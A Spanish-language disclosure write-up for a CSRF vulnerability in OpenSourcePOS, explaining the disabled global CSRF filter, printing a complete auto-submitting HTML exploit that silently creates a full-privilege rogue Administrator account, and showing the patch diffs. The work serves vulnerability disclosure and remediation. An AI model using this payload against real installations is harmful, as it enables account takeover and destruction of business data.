
PoC y Write-up para CVE-2025-68434: CSRF crítico en OpenSourcePOS. Explota una configuración de filtro deshabilitada para permitir que atacantes no autenticados creen silenciosamente cuentas de Administrador fraudulentas, lo que conduce a la toma total del sistema. Validado en versiones < 3.4.0.
| Metadatos | Detalles |
|---|
| ID CVE | CVE-2025-68434 |
| Gravedad | Crítica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidad | Cross-Site Request Forgery (CWE-352) |
| Versiones Afectadas | OpenSourcePOS v3.4.0, v3.4.1 |
| Versión Corregida | v3.4.2 |
| Componente Vulnerable | app/Config/Filters.php (Filtros de Seguridad Globales) |
| Investigador | Aditya Singh (Nixon-H) |
Se descubrió una vulnerabilidad Crítica de Cross-Site Request Forgery (CSRF) en la configuración de seguridad principal de OpenSourcePOS. El mecanismo global de protección CSRF de la aplicación estaba explícitamente deshabilitado dentro del archivo app/Config/Filters.php debido a un "TODO" temporal de desarrollo que nunca se resolvió.
Esta mala configuración permitía que la aplicación aceptara solicitudes HTTP que modifican el estado (POST) sin verificar un token anti-falsificación válido. Un atacante remoto no autenticado podía explotar esto engañando a un Administrador con sesión iniciada para que visitara una página maliciosa. La página del atacante forzaba silenciosamente que el navegador de la víctima ejecutara acciones administrativas; específicamente, crear una nueva cuenta de Administrador "Backdoor" con privilegios completos; lo que conducía a una toma de control total del sistema.
La vulnerabilidad se encontraba en la configuración de los Filtros Globales (app/Config/Filters.php). En CodeIgniter 4, el array $globals determina qué filtros se ejecutan en cada solicitud.
En las versiones afectadas, el filtro csrf estaba comentado en la lista de ejecución before, deshabilitando efectivamente la protección CSRF para toda la aplicación.
Código Vulnerable (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Debido a que esta línea estaba comentada, el middleware responsable de verificar csrf_token_name nunca se ejecutaba. La aplicación aceptaba cualquier solicitud POST desde cualquier origen, confiando únicamente en la cookie de sesión (ospos_session) para la autenticación.
csrf_exploit.html en un servidor externo.valid_12345).POC/csrf_exploit.html)Este es el payload exacto utilizado para crear un Administrador rogue con permisos completos:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(Las Imágenes y los Archivos del Exploit se encuentran en el directorio POC/)
Captura 1: La Ejecución del Exploit
Captura 2: La Cuenta Rogue Creada
🎥 Demostración en Video: Clic para Ver / Descargar el Video del PoC
La cuenta creada no es solo una sesión temporal; es una entrada permanente en la base de datos.
Usando el permiso grant_config, el atacante puede modificar la Configuración de la Tienda.
/items/delete), eliminando toda la base de datos de inventario de productos y deteniendo las operaciones comerciales.La vulnerabilidad se corrigió en OpenSourcePOS v3.4.2. La corrección requirió un cambio arquitectónico de varios pasos para manejar las condiciones de carrera en la interfaz de ventas con uso intensivo de AJAX de la aplicación.
En app/Config/Filters.php, se descomentó el filtro CSRF global.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
En app/Config/Security.php, los desarrolladores cambiaron de tokens basados en cookies a tokens basados en sesión y deshabilitaron la regeneración de tokens para prevenir problemas con solicitudes AJAX en paralelo (por ejemplo, en el módulo de Ventas).
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
El archivo app/Views/partial/header_js.php se actualizó para inyectar el hash del token directamente desde el servidor en lugar de leerlo desde una cookie del lado del cliente, mejorando la postura de seguridad.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) y verificado por el investigador.